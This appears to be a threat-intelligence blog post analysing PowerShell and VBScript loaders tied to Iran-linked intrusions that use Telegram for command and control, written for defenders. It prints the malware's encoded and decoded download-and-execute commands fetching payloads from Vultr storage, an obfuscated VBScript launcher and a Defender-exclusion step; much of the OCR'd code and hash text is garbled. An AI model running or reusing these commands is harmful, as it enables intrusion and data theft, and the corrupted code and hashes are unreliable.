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Amid escalating tensions between the US and Iran, Iranian cyber threats are facing increased attention and scrutiny. The Pulsedive research team
recently analyzed a series of loader scripts added to Malware Bazaar by Security Researcher @JAMESWT_WT. These scripts caught our attention
because they were associated with malware intrusions, in which Telegram was used for Command and Control (C2) - a tactic recently outlined in an
FBI FLASH Report. Released on March 20, 2026, the FLASH Report outlined how threat actors aligned with Iran’s Ministry of Intelligence and Security
(MOIS) leveraged Telegram as command-and-control infrastructure in cyber operations, using Telegram bots to exfiltrate data from user devices. In
this blog, we dive into numerous loader scripts identified as being used in intrusions that leveraged Telegram as the C2. We provide an analysis of the
scripts, mitigation recommendations, and a list of observed indicators of compromise.

Walkthrough of an intrusion

The FBI FLASH report highlights that the intrusions began with social engineering, in which threat actors attempted to convince victims to install
malware on their devices. The actors targeted victims via social media applications, posing as technical support or famous personas. The goal of the
social engineering campaign was to convince the victim to execute malware on their device. The FBI notes that the malware masquerades as well-
known applications.

* Telegram_authenticator.exe

*  WhatssApp.exe

* KeePass.exe

* Pictory_premium_ver9.0.4.exe

Figure 1: The malware delivered to victims masqueraded as popular applications, including communication applications. Source: EBI
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\Users\user\AppData\Roamin

Exacutable

Masquerading Application
Pictory
KeePass
Telegram Authenticator

Directory

Contains config.xml

Typosqatted Site
checkout.pictory.ai

¥

+ Not always present on victim device upon incident response
= Antivirus can quarantine the masquerading application
« Masquerading application may uncomprass to other directories
= Masquerading application may uncompress directly into \ProgramDatal\®
or destination directory
= Masquerading application may perform antivirus exclusion manipulation

» Executable vaually executes without a GUI
» Executable usually exfiltrates tailored information
» le.: MicDriver.exe records and exfiltrates video and audio
from Zoom calls
« Executable and dependencies are usually compressed
tivirus may not initially flag exe ble
« Executable is usually supported by select Python dependencies
= hase_library.zip is usually among the compressed files
relative to the executable

Stage 2

\ProgramData\,

Ead Directory

Python Dependencies

Text

rantem. txt

Executable

Masquerading Service
RuntimeSSH.exe
smadservice exe

\directory\

Relative Directory

Python Dependencies
DLLs

Executable

Masguerading Service
winappx.exe
MicDriver.exe
MSCache exe
chromedriver.exe

Nested Directory

Python Dependencies
base_library.zip

p—3 api.telegram_org
~

~
= Possible Other Sites

Nestad Directory

Python Dependencies
base_library.zip

— — 3 apitelegram.org
~

oS

A " = google.com
A
\

~
\ 2 vultrobjects.com

A Y

3 paossible Other Sites

Figure 2: Stages of the intrusions as outlined by the FBI. Source: EBI

* MicDriver.exe/MicDriver.dll

*  Winappx.exe
s MsCache.exe

* RuntimeSSH.exe
* smgdservice.exe

Moreover, reports note that the malware used PowerShell to execute malware and modified registry keys to establish persistence. Malware observed
in this campaign was capable of recording screen and audio activity, collecting information from the cache, and creating compressed file archives.
These archive files were then exfiltrated using Telegram.

Figure 3: File names for malware that was used to exfiltrate data. Source: EBI
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Script Analysis

2% JAMESWT
@JAMESWTWT

Some related "#lran-linked #Telegram as C2" Samples

bazaar.abuse.ch/browse/tag/Tra...

[ T

Malware Samples

The tabie below thaws all mabiare samples that are asocisted with this partiulare t3q (max 400)

Show 50 3 | entries Searehe

Firsizeen (UTC) 1
026-00-2) BAARAZ
26-03-73 144358
260323 MAZ26
206-03-23 4AB4
2026-03-23 VAAZ2T
H26-00- 23 M2TSY
026-03- 73 WAZTAT 3230 s

<83 3dcad 17 debd a2 = ia

PR6-03- 23 MATAT

& proxylife and 9 others

o Pierluigi Paganini - Security Affairs @securityaffairs - Mar 23

#lran-linked actors use #Telegram as C2 in malware attacks on dissidents
securityaffairs.com/18982@/malware...
#securityaffairs #hacking

@FBI

10:49 AM - Mar 23, 2026 - 3,141 Views

Figure 4: Samples were shared on Malware Bazaar and X by @JAMESWT_WT. Source: X

Malware Samples

The table below shows all malware samples that are associated with this particulare tag (max 400).

Show 50 # entries

Firstseen (UTC)

2026-03-23 15:00:57
2026-03-23 14:55:40
2026-03-23 14:54:37
2026-03-23 14:54:32
2026-03-23 14:44:42
2026-03-23 14:43:58
2026-03-23 14:43:26
2026-03-23 14:43:14
2026-03-23 14:42:27
2026-03-23 14:27:59
2026-03-23 14:27:47

2026-03-23 14:27:37

| SHA256 hash

D c379c5d6dsascf20ef120...
0 03173d820667658875dc...
D 4b8297daccfo745b58591...
D 153b0855f09b16ebdfdaf...
386404b78017f721ed45...
ffceb438127725a6a664a...
0322551804c94bad1cbs...
0 36b241275dff3331d9e70...
D 2640fc95373dd299¢cc619...
d7b4155323f6ef7Tb1f351...
cbede32393529cd79219...

@ e8b633dcad173eba1ef02...

Figure 5: Screenshots of the samples of Malware Bazaar: Source: Malware Bazaar

PowerShell Script 1 - ps.ps1

Search:
Tags Signature
 vbs n/a
 ps1] n/a
Iran-Linked-Telegram-C2 | psi nfa
Iran-Linked-Telegram-C2 | psi | n/a
[ rar | n/a
[ viss | n/a
7z ] file-pumped | n/a
7; = n/a
n/a
Iran-Linked-Telegram-C2 | pst | n/a
Iran-Linked-Telegram-C2 J rantom | n/a
(155 telcgram-org-bot71933504038 | e | lran-Linkec-Tlegram -2 wa

Reporter

H JAMESWT_WT
[ﬂ JAMESWT_WT
(& /ameswT_wr
& )amEswT_WT
(8 ) AMESWT_WT
18 I AMESWT_WT
(& 'AmESWT_WT
12& 1amESWT_WT
(& 1amEswT_WT
H JAMESWT_WT
H JAMESWT_WT

[ﬂ JAMESWT_WT

The first sample we will analyze is a simple PowerShell script, available on Malware Bazaar. The script is a one-liner that executes base64 encoded

content with the PowerShell window hidden.

SHA256  4b8297daccf9745b585916ab4466629c645749350563eb9b697326e11f2ae420
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SHA1 aa26beaa960db344fec87df4f26414242d3c3d44

MD5 586d283e7a8979168c2270831ed8bff6

ssdeep 48:EkTslgYQdt4PvpMf4hZCU8VHfIDz8eZpwui:EasVYoKJMf47vyHwflZ65

File Size 1643 bytes

File Type  Powershell Script

File ps.ps1
Name

1

The decoded base64 content indicates that the script is attempting to download additional files and execute them. This script attempts to download

powErshEll -nop -w hiddEn -Ep bypass -Enc JABWAGEAdABOADIATIAA9ACAAIJABFAG4AdgAG-
AHQAZQBtAHAAKWANAFWAbWBrAC4AdAB4AHQALgBOAHgAdAANADSATAAKAGMADABPAGUAbgBBADIATAA-
9ACAATOBLAHCALQBPAGIAagBlAGMAJAAGAFMAEQBZAHQAZQBLACAATgBAHQALGBXAGUAYgBDAGWAAQ-
BLAG4AdAATACAAIAB jAGWAaQBLAGAAdAAYACAAZABVAHCAbgBSAGEAYQBKAGYAaQBSAGUAKAANAGA -
ABOAHAACWAGACBALWBWAHAAdAAXAC4ACWBNAHAAMQAUAHYAdQBSAHQACOBVAGIAagBlAGMAdABZACAA-
YWBVAGOALWBVAGSALgBOAHgAJAANACWAT AAKAHAAY(QBOAGAMgAPADSATABTAHQAYQBYAHQALQBQAHI -
AbwB jAGUACWBZACAALQBGAGKADABLAFAAYQBOAGIATAAKAHAAYQBOAGGAMGATACQACABhAHQAAAAZAC-
AAPQAQACQARQBUAHYAOGBOAGUABQBWACSAIWBCAGEANWA2AGUAMABhADGAYWAYADUANWABADQANAAYA -
DkAYWAUAHOABQBWACCAOWAQACQAYWBSAGKAZQBUAHQAMWAGADOATABOAGUAWATAEBAYgBQAGUAYWBO -
ACAAUWBSAHMAdABLAGBALgBOAGUAdAAUAFCAZ(QBLAEMADABPAGUAbgBBADSATAAKAGMADABPAGUAbGE -
OADMALgBKAGBAdWBUAGWADWBhAGQAZgBpAGWAZQAOACCAAABOAHQACABZADOALWAVAHAACABOADEALG-
BzAGCACAAXAC4AdgB1AGWAdABYAGBAYgBqAGUAYWBOAHMALgB jAGBAbQAVAFTAJQBUAHQAaQB tAGUAU -
WBTAEgGAXWAXADCALgB6AGKACAANACWATAAKAHAAY(QBOAGIAMWAPADSATABFAHgGACABhAGAAZAATAEEA-
cgBjAGgAaQB2AGUATAALAFAAYQBOAGGATAAKAHAAYQBOAGOAMWAGACOARABLAHMAJABPAGAAYQBOAGK -
AbwBUAFAAY(QBOAGQATAANAEMAOgBCAFAACOBVAGCACGBhAGOARABhAHQAYQBCAHMACWBOACAAYWBhAG-
MAaABLACOAZABLAGYAYQB1AGWAdABCAHSADABLAGQAYQAZADGANAA4ACOANAASADUAZQALADQAMWBMA -
DQALQA4AGQAMQAWACOANWBKADMANWBhADYANWBMADEANGAWADQATQANACAALQBGAGBACGB jJAGUAOWAG -
AFMAdABhAHIAdAATAFAACgBVAGMAZ(BzAHMATAATAEYAaQBsSAGUAUABhAHQASAAGACCAQWASAFWAUAB -
YAGBAZWBYAGEAbBQBEAGEAdABhAFWACWBZAGQALQB jAGEAYWBOAGUALQBKAGUAZgBhAHUADABOAFWAEW-
A4AGIAZABhADMAOAAGADGALQAGADKANQBLACOANAAZAGYANAALADGAZAAXADAALQASAGQAMWASAGEAN-
gA3AGYAMQAZADAANABIAFWAUQB 1AG4AdABPAGOAZ(QBTAFMASAAUAGUAEABTACCA

Figure 6: Content of the PowerShell script.

two additional files and execute them. At the time of analysis, both files were unavailable.

$path2 = $Env:temp+ \ok.txt.txt'; $client2 = New-Object System.Net.webClient;

$client2.downloadfile( https://pptl.sgpl.vultrobjects.com/ok.txt", $path2); Start-Process -FilePath $path2;$%path3

$Env:temp+'\a76e8a8c25744429c.zip"; $client3d = New-Object System.Net.wWebClient;

$client3.downloadfile( https://pptl.sgpl.vultrobjects.com/RuntimessH_17.zip', %path3); Expand-Archive -Path $path3 -
DestinationPath "C:\ProgramData\ssh-cache-default\{8bda3848-4095e-43f4-8d10-7d37a67fl684}" -Force; Start-Process -FilePath

'C:\ProgramData‘\ssh-cache-default\{8bda3848-495e-43f4-8d168-7d37a67716084 } \RuntimessH.exe"

Figure 7: Base64-decoded content present within the script.

The script attempts to download files from Vultr Object Storage. The files are downloaded to the temp directory and then executed. The contents of the
zip archive are extracted to the path c:\Programbata\ssh-cache-default\, and the executable RuntimeSsH.exe is executed.

File Name URL
ok.txt.txt hxxpsl[://]ppt1[.]sgp1[.]vultrobjects[.Jcom/ok[.]txt
a76e0a8c25744429c.zip hxxps[://]Jppt1[.]sgp1[.]vultrobjects[.Jcom/RuntimeSSH_17[.]zip
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https:/pptl.sgpl.vultrobjects.com/ok.txt

© Unknown risk

U Integrations

2] VirusTotal + Add API key
% Shodan 4+ Add APl key
%) AbuselPDB 4+ Add APl key

Auto-Fetch Manual

Actions | @ Copy Summary @ Passive Scan I Active Scan X Submit < Share

Highlights Events
a Cert. issued 2026-04-21 01:45:55
HTTP status 1 week ago

icati @ Seen 2026-04-29
application/xml 12 5e

E Cert. expires 2026-07-2001:45:54
SSL certificate found: *.sgp1 vultrobjects.com and 1 more < monihs from now
Let's Encrypt, Amazon Web Services, HSTS

Attributes

Protocol

# HTTPS

Figure 8: Details about the URL where ok.txt is hosted. Source: Pulsedive

https://pptl.sgpl.vultrobjects.com/RuntimeSSH_17.zip

© Unknown risk U Integrations

2] VirusTotal + Add API key
% Shodan + Add API key
&) AbuselPDB + Add API key

Auto-Fetch Manual

Actions | #@ Copy Summary | Passive Scan Il Active Scan X submit «2 Share

Highlights Events

o & Cert issued 2026-04-20 01

HTTP status

@ Seen 2026-04-29 15:58:30

E_lpplicar'mn!xml

& Cert expires 2026-07-19 01:42:11

SSL certificate found: *.sgp1.vultrobjects.com and 1 more
HSTS, Let's Encrypt, Amazon Web Services

Figure 9: Details about the URL where RuntimeSSH_17.zip is hosted. Source: Pulsedive

Powershell Script 2 - cmd.ps1

The second sample is almost identical to the first script. The similarity between the scripts is confirmed by the ssdeep value, which only differs by two
characters. The only difference is that it specifies "C:\Windows\System32\cmd.exe" before the PowerShell command.

Learn more about ssdeep hashing in this blog_post.



https://pulsedive.com/indicator/?iid=79381537
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SHA256

153b0855f09b16ebdfdaf6e520e616751b3324b852193f97¢cb1c9b0958c7a93b

SHA1 86dbecd44e2ead21242acd6126ec4e829b75e8499

MD5 39411f31ccad546ef3eeaa24a813b66b

ssdeep 48:9kTslgYQdt4PvpMf4hZCUB8VHfIDz8eZpwui:qasVYoKJMf47vyHwflZ65
File Size 1675 bytes

File Type  Powershell Script

File cmd.ps1

Name

43:EkTsIgyQdt4PvpMfahZCUBvHTIDz8eZpwul : EasVYoKIMT4TvyHwflZes
43:qkTsIg¥Qdt4PvpMfahZCUBvHTIDz8eZpwui : qasVYoKIMF4TvyHwflZes

Figure 10: Almost identical ssdeep values for script 1 (top) and script 2 (bottom). This shows that the content of the scripts is almost identical.

The ssdeep hashes of script 1 and script 2 confirm that the files are almost identical. The hashes only differ by two characters.

1 "C:\Windows\System32\cmd.exe" fc powErshEll -nop -w hiddEn -Ep bypass -Enc JABw-
AGEAdABOADIATIAASACAAJABFAG4AdgAGAHQAZ(QB tAHAAKWANAFWAbWE rAC4AdAB4AHQALgBOAHgAdAA--
nADSATIAAKAGMAbBABpPAGUAbgBOADIATAAIACAATOBLAHCALQBPAGIAagBLAGMAdAAGAFMAEeBZAHQAZQ-
BtAC4ATgBLAHQALgBXAGUAYgBDAGWAaQBLAGAAdAATACAAIAB jJAGWAAQBLAGAAdAAYACAAZABVAHCAD-
gBsAGBAY(QBKAGYAA(QBSAGUAKAANAGGAJABOAHAACWAGACBALWBWAHAAdAAXAC4ACWBNAHAAMQAUAHYA -
dQBsAHQAcgBVAGIAagBlAGMAdABZAC4AYWBVAGDALWBVAGSALgBOAHgAdAANACWATAAKAHAAY(QBOAGY -
AMgApADSATABTAHQAYQBYAHQALQBQAHIAbWB jAGUACWBZACAALQBGAGKADABLAFAAYQBOAGGATAAKAH -
AAYQBOAGAMgATACQACABhAHQAAAZACAAPQAGACOARQBUAHYADGBOAGUAbQBWACSA IWBCAGEANWAZA -
GUAMABhADgAYWAYADUANWABADQANAAYADKAYWAUAHOASQBWACCAOWAGACQAYWBSAGKAZQBUAHQAMWAG -
ADBAIABOAGUAdWATAEBAYgBqAGUAYWBOACAAUWBSAHMADAB LAGBALgBOAGUAdAAUAFCAZQBLAEMADAB -
pAGUAbgBOADSAIAAKAGMADABPAGUAbGBOADMALgBKAGBAdWBUAGWADWBhAGQAZGBPAGWAZQAOACCAAA-
BOAHQACABZADOALWAVAHAACABOADEALgBZAGCACAAXACAAdgB1AGWAdABYAGEAYgBqAGUAYWBOAHMAL -
9B jAGBAbQAVAFIAdQBUAHQAAQB tAGUAUWBTAEGAXWAXADCAL gB6AGKACAANACWATAAKAHAAYQBOAGGA-
MwApADSATABFAHQACABhAGAAZAALAEEACGB jAGgAaQB2AGUATAALAFAAY(BOAGGATAAKAHAAYQBOAGY -
AMWAgACOARABLAHMAJABpPAGAAY(QBOAGKADWBUAFAAYQBOAGGATAANAEMAOQBCAFAACOBVAGCACOBhAG-
OARABhAHQAYQBCcAHMACWBOACOAYWBhAGMAAABLACOAZABLAGYAYQB1AGWAdABCAHSADABLAGQAYQAZA-
DgANAA4ACOANAASADUAZQATADQAMWBMADQALQA4AGQAMQAWACOANWBKADMANWBhADY ANWBMADEANGAW-
ADQAFQANACAALQBGAGBACgB jJAGUAOWAGAFMAdABhAHIADAATAFAACGBVAGMAZ(BZzAHMATAATAEYAaQB-
SAGUAUABhAHQAaAAQACCAQWABAFWAUABYAGBAZWBYAGEAbDQBEAGEAdABhAFWACWBZAGGALQB JAGEAYW-
BoAGUALQBkAGUAZgBhAHUAbABOAFWAeWA4AGIAZABhADMAOAA®ADGALQAGADKANQBLACOANAAZAGYAN-
AAtADgAZAAXADAALQA3AGQAMWA3AGEANGA3AGYAMQAZADAANABOAFWAUGB 1AG4AdABPAGOAZQBTAFMA-
SAAUAGUAeABLACCA|

Figure 11: Content of cmd.ps1.

For an explanation of the decoded content, please refer to the analysis available for script 1 above.

VBSCript 1 - (i) 55 43 dia i 98 2l i 28 oW o jiad s o jlads cladd L kel 38 sl o jladi ala b 38 oW o i caadvbs

Also available on Malware Bazaar is a VBS script that is significantly larger than the PowerShell scripts discussed thus far. The script is a one-liner

that executes base64 encoded content with the PowerShell window hidden.

SHA256  ¢379c5d6d5a8cf20ef120327a3¢c8dd2331f60216d0a11b85d1fbdb2aae 147646

SHA1 ¢1b012acc1f39b52f9ae230af5bfdefd97820b1¢c

MD5 2e22ceb75e5bb1e03c74e222867b33d9

ssdeep 768:37mxa96MH7rOokUORcpFoa4bOYOd7036nHzZIjXRnSranMMzyBQbU50vOr4kqUXc:q1bNkSoa4mjnHVITRSrjb/XInB3
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https://bazaar.abuse.ch/sample/c379c5d6d5a8cf20ef120327a3c8dd2331f60216d0a11b85d1fbdb2aae147646/

File Size 183,897 bytes

File Type VBS

File

Al ¢ 4 ke Jls )8 ake 3L oA sla o ladi sla o jlad chladd LA aia 3L 38 (sla ol dia st 33 (s\a o jled Cawdl VDS
Name

The file consists of 63791 lines. The bulk of these lines are blank and contain no characters. Once the empty lines of code are removed, we are left
with 11 lines of code.

L AT S R AT -

9L a1 iad bttt

P Pulsedive
Figure 12: content of the VBScript show large blobs of text and empty lines.

Of those 11 lines, there are two large blobs of text that serve no function. These are the first and last lines of the file. The code executed consists of a
string, an array of numbers, a for loop, string-manipulation operations, and a function that executes the manipulated string.
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Sub a250badfabdadddrl (ae62Ece3NaBTF4205) 1 ewal("eMesuTe (ae£150e35a0754205)%) 1 End Sub
ALTAREITINTINEL =

'\ P B2 ks ¥ lablyibflzabet: Eyd
kw3 Jaxeyibes - J3dkqrage)zeesuing krnjanpe Lqlat sukdgebw
clmmcnmcwnbm:mtnl d¥vIrhidn i yEoglu cshfdiyKgdi) oyiceamimel cquthoolwzigkalannbhialvylh Lbwiokve adlz 1) yPiaTALN £ 1ubat Teqx] IPRpopat AN ANUES eba CEOCTIupRIL
b e ki h dvuai . i =5 Ltawt
- u P p——" : Jmeruziies g e bezeeh 1rnen
owinwy) vEUEKTS) c-:nl.mn:pnmucmuuumnMrmulmlmnmmnmxvmmy ibay xewyujrlos: z)eme £l Tgalcadymwylnlpveyvaa
x: jieges 5] 2k i 1hvch
‘ que kzrvvie 2284 P : " H . "
11 JWELVAROBUENS EAV VR Y TR ERDYLE mEreoctEbLy, led n:|lamt1e:|!msa)mumnu-m!nmlmmamm]twsustzmwuen]!nwwmlm agliofrayeLres lorn
v ay 1umvgod vki dpdnt: rhilzddots ign mitey
Fmiede 2y snpd)tgetdy el
1 LfhaL axnt Thabuywaiea s . Fawdzel] e agy Loy 1Bk et
zialbyg priloskvitodar toavoe mpaby: iwo capzsoqritacviajoadnkive @ & Inyacl
=7el bt e 71 yrudkktanqhyl il YRRy Juls ypTelick
¥ pr £rbzapaleny » " el 23w hemhatersliein T
rzqaupsy avoiyi Jhascy 22 wat mgrre Amrclecy
T3 Aseueblinl TxaTaisTRANl ROl ERTEAT il AT -
AlEEDETIE4BS24A0E = arcap(3l, 228, 182, 221, 232, 234, 208, 219, 133, 218, 218 29, 220, 322, W41, 213, 321, 332, 220, 110, L8, 308, 144, 183, 336, 336, 210, 231, 140, 142, 192, 205, 213, 188, 197, 23b, 201, 198,

334, 137, 148, 215, 233, 335, 334, 308, 218, 338, 331, 185, 148, 15§, 185, 14
176, 161, 15%, 170, 175, 137, 138, 7, 194, 210, 2126, 223, L49, 183,
LTS, 188, 124, 193, 200, 219, 144, 23é, 218, 153, 182, 14 213,
216, 204, 225, 313, 131, 1€3, 125, 302, 232, 208, 230,
151, 145, 133, 222, 208, 138, 134, 8, 116, 233,

. BS#, 217, 183, 154, 204, 211, 237, 1&4, 180, 211, 180, 337, 318, 214, N4, 21T,
161, 04, 473, 15l 135, 153, 154, L42, 179 143, 16k, Led, 135, 193,
221, 206, 203, 199, 206, 337, 148, 133, 317, 22, 130, 209,
239, 153, 168, 134, 136, 154, 22%, 215, 238, 147, 130, 229,
181, 240, 213, 193, 223, 233, 21%, 125, 145, 219, 160, 133,

231, 236, 208, 147, 172, 206, 324, 218, 303, 2u0, 180,
225, 146, 20%, 196, 161, 146, 198, 224, 213, 143, 145,
138, 208, 9, 217, 238, 202, 237, 223, 102, 196,
. 133, 1855, 315, 24, 214, 134, 134, 14E, 143, 220, 130,
132, 236, 133, 145, 152, 199, 163, 138,

140, 144, 219, 133, 185, 146, 139, 232, 132, 185, 134, 218, 214, 136, 134, 145, 132, 219, 131, 139, 145, 286, 142,
196, 233, 324, 203, 232, 23T, 148, 137, 152, 1458, 81, 181, 219, 183, 112, 174, 180, 178, 170, 80, 1é4, 172,
152, 164, 172, 166, 154, 206, 213, 181, 182, 151, 172, 172, 176, 241, 222, 184, 182, 151, 171, 181, 200, 179,
198, 231, 186, 146, 16, 175, 218, 183, 170, 219, 1%, 180, 232, 207, 181, 165, 191, 175, L85, 162, 172,
L89, 175, 184, 184, 208, 183, s, S, 221, 143, 187, 17¢, 164, 213, 207, 144, 471, 192, 19%, 183, 1%€, 198,
L1T0, 221, 165, 171, 157, 179, 187, i 184, 184, 214, e 177, 178, 215, 201, . 182, 171, 153; 183, 182, 1€5,
170, 138, 18%, 17%, 210, 165, 177, 152, m, 173, 115, 18%, 181, 209, 167, 173, 108, 203, 171, 218,

153,
138,
175,
193,
180,

8, 184, 180,
. 231, 166,
153, 207,
1Tie 83,
. 174, 230,

172, 144,
113, foL,
186, 18,
A%l ATE,
164, 1835,

219, 173, 194, LT6, 163, 208,
201. 207, 176, 223, 185, 188,
182, 228, 174, 174, 1€2, 173,
179, 303, AT, ME, ATH, 173,
168, 183, 162, LT1. 289, 173,

172, 168, 194, 162, 217, 191, 14,
L6d, 182, 221, 180, 181, 150, 168,
175, 130, 0K, 163, 163, 221, 187,
206, 166, 194, 179, 1B, 189, 196,
208, 30, 183, 212, 191, 104,

187,
. 204,
152,
168,

151, 18b, 173, 08, 188, 185, 187, 178, 178, 204, 233, 187, 171, 188, 195, Léd, 155,
LE5, 230, 187, LBl 163, 182, 173 159, N Leda 170, 18z, a0, 172, 174, 205, 172, 1%0,
L7, 194, 238, 187, 181, 178, 2346, 182, B 228, 164, 170, 28, 216, 162, 194, 236, 183,
LT1, 175, 184, L8g, 226, 184, 208, 181, 204, Léd, 184, 118, 174, 334, 185, 17€, LB4, l&&,
218, 176, 225, 1704 1%z, 165, 154, 225, 187, 1€l 174, 138, 217, 1€3, i1, 186, 157, 1€3, 173, 214, 126,

L96, 181, 196, 181, 18, 102, 2, 172, 203, 173, 13, 106, 168, 176, 178, 173, 183, 170, 214, 201,
L83, 1db, 188, 173, 182, 304, 1, 181, 188, 238, 1, 238, 188, 1. 208, 280, 148, 148, 330, 146, L33, 388,
497, 133, 164, lé€, iz, 1s2, 477, 215, 178, 170, 228, 121, 171, 15%, 175, 176, 125, 2l%, 183, L78, 227,
181, 189, 178, 115, 181, 168, 28, 181, 175, 182, 160, 175, 185, 193, 164, L8l, 185,
Lé3, 2306, 178, 193, 174, 208, 262, 119, 184, 184, A8, 228, 232, 1dé, 183, 14, 176,
1B, 203, 1T, 170, 1€5, 178, 168, 187, 227, 178, 168, 234, 224, 195, 212, 178, 173,

187, 169, 161, 171, 171, Le€, 188, 17, 187, 173, 162, 22%, 189, 177, 185, 213, 182,
179, 162, 333, 178, 187, 183, i, a1, 230, 164, 167, 207, 207, 203, 168, L63, 184,
226, 187, 202, 22, 254, 187, Ty 166, 7z, 186, 120, 218, 170, 18T, %%, 1%€, 162, Le8, 207,
207, 178, 184, 158, 179, 178, 183, 218, 180, 170, 182, 170, 173, 167, 149, 235, 178, 163, 21%, 180, L85, 1&7,
191, 184, 166, 233, 126, 200, 175, 208, 179, 166, an, 146, 3, 172, 333, 184, 167, 175, 209, 176, L8l, 149,
267, 148, 167, 181, 84, 163, 26%, 187, 204, 146, 236, g, 8, 171, 1%6, 153, 1€w, 164, 175, 246, LT, 123,
Lég, 228, 173, 173, . 120, 175, 240, 170, 225, 177, . 181, 14, 235, 173, 172, 206, 200, . 188, 186, 168, L84, 182,
178, 2u4, 206, 184, 164, 184, 112, 181, 217, 172, 164, 173, 174, 157, 172, 194, 201, 180,
B85, TR, 499, i64, e, 19T, ass, i3, 260, 4T, 483, i, 163, 383, 288, 33T, 1%k

Figure 13 Content of the VBScript with blank lines removed.

for ac®ae399feaff64607 = lbound (al8b9871f48524a95) + 1 to ubound(alS8bk9871f45524a95) + 1
abf3e6e0clfze4dal = mid(af789£342e5024051, ac%ac399feaB64607, 1) Step 1
aad2a428f9099483b = al8b9871f48524a95 (ac9ae399feadE4607 - 1) Step 2

a4abeéldeccace4l58 = chr(aad2a428f9%059483b - asc(abf3efelclfieddal)) Step 3
ac2fa®3Zbkbcecd4ccd = ac2fa®3Zbbcecdccd & a4aSé6ldeccac64lsd Step

next @ a2SbbadfdSdad4del (ac2faf3Zbbececdccd)

Figure 14: Key code identified within the script which is used to deobfuscate additional code.

The first line of the For loop iterates over the array of numbers. The first step is to extract a character from the i-th position of the string in the

af789f342e5024051 variable. The next line gets a number from the i-th minus 1 position in the array. From there, the script decodes a character by

subtracting the value from step 1 from the value obtained in step 2, then converting the result to a character. This value is then added to an array,
which is executed at the end of the loop.

The decoded content reveals that the script attempts to query the disk size. If the disk size exceeds 50 GB, it attempts to execute the PowerShell
commands outlined in Scripts 1 and 2.

on error resume next

1f Round (GetObject("winmgmts:").Get("Win32_LogicalDisk. DeviceIDa"C:'").5ize/(1024%3),8) > 56 Then e = chr(63)

Set sh = crestecbject("sh"& & &"11.application™)

exccute{"pow = ""paw""& ¢ &""rsh™"& ¢ &""117"")

sh.5hellExecute "cmD."8 ¢ £"x"8 e, "/c "B pow &% -nop -w hidd"& e &"n -"8 e 8"p bypass -"% e &"nc mew:me&BFWM;&WQBKWMFNMFMIMWWL'BW“" AnAD:

n
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self.close

Figure 15: Deobfuscated content present within the VBScript. This content attempt to download the sample payloads that are highlighted in PowerShell script 1
(ps.ps1) and PowerShell Script 2 (cmd.ps1).

The Malware Bazaar collection contains another PowerShell that is similarly inflated at 183,069 bytes. This file contains the same content as the VBS

script, as confirmed by the ssdeep values of the files.
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MD5 Hash File  ssdeep
Typ
e

2e22ceb75e5bb1e03c74e222867b33d9 VBS  768:57mxa96MH7rOokUORcpFoa4bOYOd7036nHzZIjXRnSroanMMzyBQbU50vOr4kqUXc:q1bNkSoa4

4cb321c61ba994666546f37c300dae53 ps1  768:s7mxa96MH7rOokUORCcpFoadbOYOd7036nHcZIjXRnSr9nMMzyBQbU50vOrdkqUXc:q1bNkSoa4
1 768: s7mxa%6MH7 rOokUORcpFoadb0Y0d7036nHzZ1 jXRnSronMMzy BObUSovOrdkgUXe : glbNkSoad4mjnHW1TRSrjb/X1nB3
1 768:s57mxa%6MH7rOokUORCpFoadb0Y0d7036nHCZ1jXRnSronMMzyBQbUSovOr4kgUXco : glbNkSoad4mjnHolTRSrjb/X1nB3

Figure 16: ssdeep hashes for the VBScript (top) and bloated PowerShell script (bottom) showing that the content is almost identical.

Smqdservice.exe

While not the zip archive observed in the scripts we analyzed in our blog, Malware Bazaar contains the payload mentioned in the FBI report. This is a
zip archive containing several .pyd files and smqdservice.exe. Sandbox results of the sample are available on Any.Run.

SHA256  cbe9e32393529cd79e19a639a1d2da93fba06082be2bdb0c04241f269f98c773

SHA1 ba3874ca96f9bcaldaff22ef49ea7505d52b40d4

MD5 94779909¢c510194900c3cc17d1194c8

ssdeep 393216:izZShZzyvOYAppTWme9vKeUS2JjW4c4btEDIGN3F{5+E:ilfGvnpMx9vnUS2JIGOBf

File Size 23,178,389 bytes

File Type Zip archive

certifi cryptograp cryptograp PIL psutil pywin32_ setuptools-
hy hy-39.0.0. system32 65.5.0.dist-
dist-info info
B e [ (¢ (¢ (¢ ¢
win32com _asyncio. base_ _bz2.pyd _cffi_ _ctypes.pyd _decimal.
pyd library.zip backend. pyd
cp311-wi...
o o (o (¢ (¢ [¢ (o
B _hashlib. libcrypto- libffi-g.dll libssl-1_1. _lzma.pyd  mfci140u.dl
elementtre pyd 1_1.dll dll
e.pyd
¢ o (o (¢ (¢ [¢ [=
B B pyexpat. python3.dll  python311. _queue.pyd  rantom.kxt
multiproce  overlapped pyd dll
ssing.pyd .pyd
% @ @ 4 % @ @
select.pyd  smqdservic _socket.pyd _ssl.pyd unicodedat _uuid.pyd VCRUNTIM
e.exe a.pyd E140.dll

Figure 17: Content of the zip archive.

The executable attempts to evade detection by adding exclusions within Microsoft Defender. This is done using PowerShell to exclude the path
%ALLUSERSPROFILE%\SMQDServicePackages\ and C:\Users\Power\Downloads\Telegram Desktop
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https://app.any.run/tasks/f9c2d905-e377-45ed-8b65-5ec9f6a8918a

Process details 1D 3276

cmd.exe

More Info

Danger 1

Changes Windows Defender settings

Figure 18: PowerShell is used to add an exclusion path in Defender for the Telegram installed within the Downloads folder. Source: Any.Run

Once the exclusions are in place, the malware executes the smqdservice.exe binary, which loads various Python modules, including python311.dll,
which was present in the zip archive.

The following Telegram bot details were extracted from the binary.

Figure 19: Telegram Bot details extracted from the Binary: Source Any.Run

Connecting to the URL specified in the get info parameter provides details about the Telegram bot, including its username, 1D, and enabled
permissions.

ok: true,

result:

{
id: 7933584838,
is_bot: true,
first_name: "Default2s”,
username: "d_default2ebot™,
can_join_groups: true,
can_read_all_group_messages: false,
supports_inline_queries: false,
can_connect_to_business: false,
has_main_web_app: false,
has_topics_enabled: false,
allows_users_to_create_topics: false,
can_manage_bots: false

Figure 20: Details of the Telegram bot including some permissions assigned to it.
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https://app.any.run/tasks/f9c2d905-e377-45ed-8b65-5ec9f6a8918a
https://app.any.run/tasks/f9c2d905-e377-45ed-8b65-5ec9f6a8918a?malconf=true

Conclusion

The loaders analyzed in the blog are very basic. Their singular goal is to download additional content that is hosted on Vultr Object Storage. The
PowerShell scripts contain base64-encoded content that, once decoded, reveals that the loader attempts to download a zip archive. The zip archive
contains a file called RuntimeSSH.exe, which was identified in the FBI FLASH report. The report outlines that this file is used to exfiltrate sensitive
information from the compromised device. Telegram is frequently used as C2 infrastructure, as it blends in with legitimate traffic and is relatively easy
